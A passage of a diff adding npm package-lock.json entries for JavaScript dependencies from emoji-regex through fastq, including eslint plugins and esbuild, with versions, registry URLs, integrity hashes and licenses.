"sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "dev": true, + "license": "MIT" + }, + "node_modules/effect": { + "version": "3.18.4", + "resolved": "https://registry.npmjs.org/effect/-/effect-3.18.4.tgz", + "integrity": "sha512-b1LXQJLe9D11wfnOKAk3PKxuqYshQ0Heez+y5pnkd3jLj1yx9QhM72zZ9uUrOQyNvrs2GZZd/3maL0ZV18YuDA==", + "license": "MIT", + "dependencies": { + "@standard-schema/spec": "^1.0.0", + "fast-check": "^3.23.1" + } + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "dev": true, + "license": "MIT" + }, + "node_modules/empathic": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/empathic/-/empathic-2.0.0.tgz", + "integrity": "sha512-i6UzDscO/XfAcNYD75CfICkmfLedpyPDdozrLMmQc5ORaQcdMoc21OnlEylMIqI7U8eniKrPMxxtj8k0vhmJhA==", + "license": "MIT", + "engines": { + "node": ">=14" + } + }, + "node_modules/es-abstract": { + "version": "1.24.1", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.1.tgz", + "integrity": "sha512-zHXBLhP+QehSSbsS9Pt23Gg964240DPd6QCf8WpkqEXxQ7fhdZzYsocOr5u7apWonsS5EjZDmTF+/slGMyasvw==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-buffer-byte-length": "^1.0.2", + "arraybuffer.prototype.slice": "^1.0.4", + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "data-view-buffer": "^1.0.2", + "data-view-byte-length": "^1.0.2", + "data-view-byte-offset": "^1.0.1", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "es-set-tostringtag": "^2.1.0", + "es-to-primitive": "^1.3.0", + "function.prototype.name": "^1.1.8", + "get-intrinsic": "^1.3.0", + "get-proto": "^1.0.1", + "get-symbol-description": "^1.1.0", + "globalthis": "^1.0.4", + "gopd": "^1.2.0", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "internal-slot": "^1.1.0", + "is-array-buffer": "^3.0.5", + "is-callable": "^1.2.7", + "is-data-view": "^1.0.2", + "is-negative-zero": "^2.0.3", + "is-regex": "^1.2.1", + "is-set": "^2.0.3", + "is-shared-array-buffer": "^1.0.4", + "is-string": "^1.1.1", + "is-typed-array": "^1.1.15", + "is-weakref": "^1.1.1", + "math-intrinsics": "^1.1.0", + "object-inspect": "^1.13.4", + "object-keys": "^1.1.1", + "object.assign": "^4.1.7", + "own-keys": "^1.0.1", + "regexp.prototype.flags": "^1.5.4", + "safe-array-concat": "^1.1.3", + "safe-push-apply": "^1.0.0", + "safe-regex-test": "^1.1.0", + "set-proto": "^1.0.0", + "stop-iteration-iterator": "^1.1.0", + "string.prototype.trim": "^1.2.10", + "string.prototype.trimend": "^1.0.9", + "string.prototype.trimstart": "^1.0.8", + "typed-array-buffer": "^1.0.3", + "typed-array-byte-length": "^1.0.3", + "typed-array-byte-offset": "^1.0.4", + "typed-array-length": "^1.0.7", + "unbox-primitive": "^1.1.0", + "which-typed-array": "^1.1.19" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-iterator-helpers": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.2.2.tgz", + "integrity": "sha512-BrUQ0cPTB/IwXj23HtwHjS9n7O4h9FX94b4xc5zlTHxeLgTAdzYUDyy6KdExAl9lbN5rtfe44xpjpmj9grxs5w==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.24.1", + "es-errors": "^1.3.0", + "es-set-tostringtag": "^2.1.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.3.0", + "globalthis": "^1.0.4", + "gopd": "^1.2.0", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.2.0", + "has-symbols": "^1.1.0", + "internal-slot": "^1.1.0", + "iterator.prototype": "^1.1.5", + "safe-array-concat": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-shim-unscopables": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz", + "integrity": "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-to-primitive": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz", + "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-callable": "^1.2.7", + "is-date-object": "^1.0.5", + "is-symbol": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/esbuild": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.3.tgz", + "integrity": "sha512-8VwMnyGCONIs6cWue2IdpHxHnAjzxnw2Zr7MkVxB2vjmQ2ivqGFb4LEG3SMnv0Gb2F/G/2yA8zUaiL1gywDCCg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.27.3", + "@esbuild/android-arm": "0.27.3", + "@esbuild/android-arm64": "0.27.3", + "@esbuild/android-x64": "0.27.3", + "@esbuild/darwin-arm64": "0.27.3", + "@esbuild/darwin-x64": "0.27.3", + "@esbuild/freebsd-arm64": "0.27.3", + "@esbuild/freebsd-x64": "0.27.3", + "@esbuild/linux-arm": "0.27.3", + "@esbuild/linux-arm64": "0.27.3", + "@esbuild/linux-ia32": "0.27.3", + "@esbuild/linux-loong64": "0.27.3", + "@esbuild/linux-mips64el": "0.27.3", + "@esbuild/linux-ppc64": "0.27.3", + "@esbuild/linux-riscv64": "0.27.3", + "@esbuild/linux-s390x": "0.27.3", + "@esbuild/linux-x64": "0.27.3", + "@esbuild/netbsd-arm64": "0.27.3", + "@esbuild/netbsd-x64": "0.27.3", + "@esbuild/openbsd-arm64": "0.27.3", + "@esbuild/openbsd-x64": "0.27.3", + "@esbuild/openharmony-arm64": "0.27.3", + "@esbuild/sunos-x64": "0.27.3", + "@esbuild/win32-arm64": "0.27.3", + "@esbuild/win32-ia32": "0.27.3", + "@esbuild/win32-x64": "0.27.3" + } + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "8.57.1", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.57.1.tgz", + "integrity": "sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==", + "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.6.1", + "@eslint/eslintrc": "^2.1.4", + "@eslint/js": "8.57.1", + "@humanwhocodes/config-array": "^0.13.0", + "@humanwhocodes/module-importer": "^1.0.1", + "@nodelib/fs.walk": "^1.2.8", + "@ungap/structured-clone": "^1.2.0", + "ajv": "^6.12.4", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^7.2.2", + "eslint-visitor-keys": "^3.4.3", + "espree": "^9.6.1", + "esquery": "^1.4.2", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "globals": "^13.19.0", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "is-path-inside": "^3.0.3", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-config-next": { + "version": "14.2.35", + "resolved": "https://registry.npmjs.org/eslint-config-next/-/eslint-config-next-14.2.35.tgz", + "integrity": "sha512-BpLsv01UisH193WyT/1lpHqq5iJ/Orfz9h/NOOlAmTUq4GY349PextQ62K4XpnaM9supeiEn3TaOTeQO07gURg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@next/eslint-plugin-next": "14.2.35", + "@rushstack/eslint-patch": "^1.3.3", + "@typescript-eslint/eslint-plugin": "^5.4.2 || ^6.0.0 || ^7.0.0 || ^8.0.0", + "@typescript-eslint/parser": "^5.4.2 || ^6.0.0 || ^7.0.0 || ^8.0.0", + "eslint-import-resolver-node": "^0.3.6", + "eslint-import-resolver-typescript": "^3.5.2", + "eslint-plugin-import": "^2.28.1", + "eslint-plugin-jsx-a11y": "^6.7.1", + "eslint-plugin-react": "^7.33.2", + "eslint-plugin-react-hooks": "^4.5.0 || 5.0.0-canary-7118f5dd7-20230705" + }, + "peerDependencies": { + "eslint": "^7.23.0 || ^8.0.0", + "typescript": ">=3.3.1" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/eslint-import-resolver-node": { + "version": "0.3.9", + "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz", + "integrity": "sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^3.2.7", + "is-core-module": "^2.13.0", + "resolve": "^1.22.4" + } + }, + "node_modules/eslint-import-resolver-node/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-import-resolver-typescript": { + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/eslint-import-resolver-typescript/-/eslint-import-resolver-typescript-3.10.1.tgz", + "integrity": "sha512-A1rHYb06zjMGAxdLSkN2fXPBwuSaQ0iO5M/hdyS0Ajj1VBaRp0sPD3dn1FhME3c/JluGFbwSxyCfqdSbtQLAHQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "@nolyfill/is-core-module": "1.0.39", + "debug": "^4.4.0", + "get-tsconfig": "^4.10.0", + "is-bun-module": "^2.0.0", + "stable-hash": "^0.0.5", + "tinyglobby": "^0.2.13", + "unrs-resolver": "^1.6.2" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint-import-resolver-typescript" + }, + "peerDependencies": { + "eslint": "*", + "eslint-plugin-import": "*", + "eslint-plugin-import-x": "*" + }, + "peerDependenciesMeta": { + "eslint-plugin-import": { + "optional": true + }, + "eslint-plugin-import-x": { + "optional": true + } + } + }, + "node_modules/eslint-module-utils": { + "version": "2.12.1", + "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.12.1.tgz", + "integrity": "sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^3.2.7" + }, + "engines": { + "node": ">=4" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + } + } + }, + "node_modules/eslint-module-utils/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-plugin-import": { + "version": "2.32.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.32.0.tgz", + "integrity": "sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@rtsao/scc": "^1.1.0", + "array-includes": "^3.1.9", + "array.prototype.findlastindex": "^1.2.6", + "array.prototype.flat": "^1.3.3", + "array.prototype.flatmap": "^1.3.3", + "debug": "^3.2.7", + "doctrine": "^2.1.0", + "eslint-import-resolver-node": "^0.3.9", + "eslint-module-utils": "^2.12.1", + "hasown": "^2.0.2", + "is-core-module": "^2.16.1", + "is-glob": "^4.0.3", + "minimatch": "^3.1.2", + "object.fromentries": "^2.0.8", + "object.groupby": "^1.0.3", + "object.values": "^1.2.1", + "semver": "^6.3.1", + "string.prototype.trimend": "^1.0.9", + "tsconfig-paths": "^3.15.0" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9" + } + }, + "node_modules/eslint-plugin-import/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-plugin-import/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-import/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/eslint-plugin-jsx-a11y": { + "version": "6.10.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz", + "integrity": "sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "aria-query": "^5.3.2", + "array-includes": "^3.1.8", + "array.prototype.flatmap": "^1.3.2", + "ast-types-flow": "^0.0.8", + "axe-core": "^4.10.0", + "axobject-query": "^4.1.0", + "damerau-levenshtein": "^1.0.8", + "emoji-regex": "^9.2.2", + "hasown": "^2.0.2", + "jsx-ast-utils": "^3.3.5", + "language-tags": "^1.0.9", + "minimatch": "^3.1.2", + "object.fromentries": "^2.0.8", + "safe-regex-test": "^1.0.3", + "string.prototype.includes": "^2.0.1" + }, + "engines": { + "node": ">=4.0" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9" + } + }, + "node_modules/eslint-plugin-react": { + "version": "7.37.5", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.37.5.tgz", + "integrity": "sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-includes": "^3.1.8", + "array.prototype.findlast": "^1.2.5", + "array.prototype.flatmap": "^1.3.3", + "array.prototype.tosorted": "^1.1.4", + "doctrine": "^2.1.0", + "es-iterator-helpers": "^1.2.1", + "estraverse": "^5.3.0", + "hasown": "^2.0.2", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.1.2", + "object.entries": "^1.1.9", + "object.fromentries": "^2.0.8", + "object.values": "^1.2.1", + "prop-types": "^15.8.1", + "resolve": "^2.0.0-next.5", + "semver": "^6.3.1", + "string.prototype.matchall": "^4.0.12", + "string.prototype.repeat": "^1.0.0" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7" + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "5.0.0-canary-7118f5dd7-20230705", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.0.0-canary-7118f5dd7-20230705.tgz", + "integrity": "sha512-AZYbMo/NW9chdL7vk6HQzQhT+PvTAEVqWk9ziruUoW2kAOcN5qNyelv70e0F1VNQAbvutOC9oc+xfWycI9FxDw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0" + } + }, + "node_modules/eslint-plugin-react/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-react/node_modules/resolve": { + "version": "2.0.0-next.6", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.6.tgz", + "integrity": "sha512-3JmVl5hMGtJ3kMmB3zi3DL25KfkCEyy3Tw7Gmw7z5w8M9WlwoPFnIvwChzu1+cF3iaK3sp18hhPz8ANeimdJfA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "is-core-module": "^2.16.1", + "node-exports-info": "^1.6.0", + "object-keys": "^1.1.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/eslint-plugin-react/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/eslint-scope": { + "version": "7.2.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/espree": { + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esquery": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", + "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/exsolve": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/exsolve/-/exsolve-1.0.8.tgz", + "integrity": "sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA==", + "license": "MIT" + }, + "node_modules/fast-check": { + "version": "3.23.2", + "resolved": "https://registry.npmjs.org/fast-check/-/fast-check-3.23.2.tgz", + "integrity": "sha512-h5+1OzzfCC3Ef7VbtKdcv7zsstUQwUDlYpUTvjeUsJAssPgLn7QzbboPtL5ro04Mq0rPOsMzl7q5hIbRs2wD1A==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT", + "dependencies": { + "pure-rand": "^6.1.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fastq": { + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": 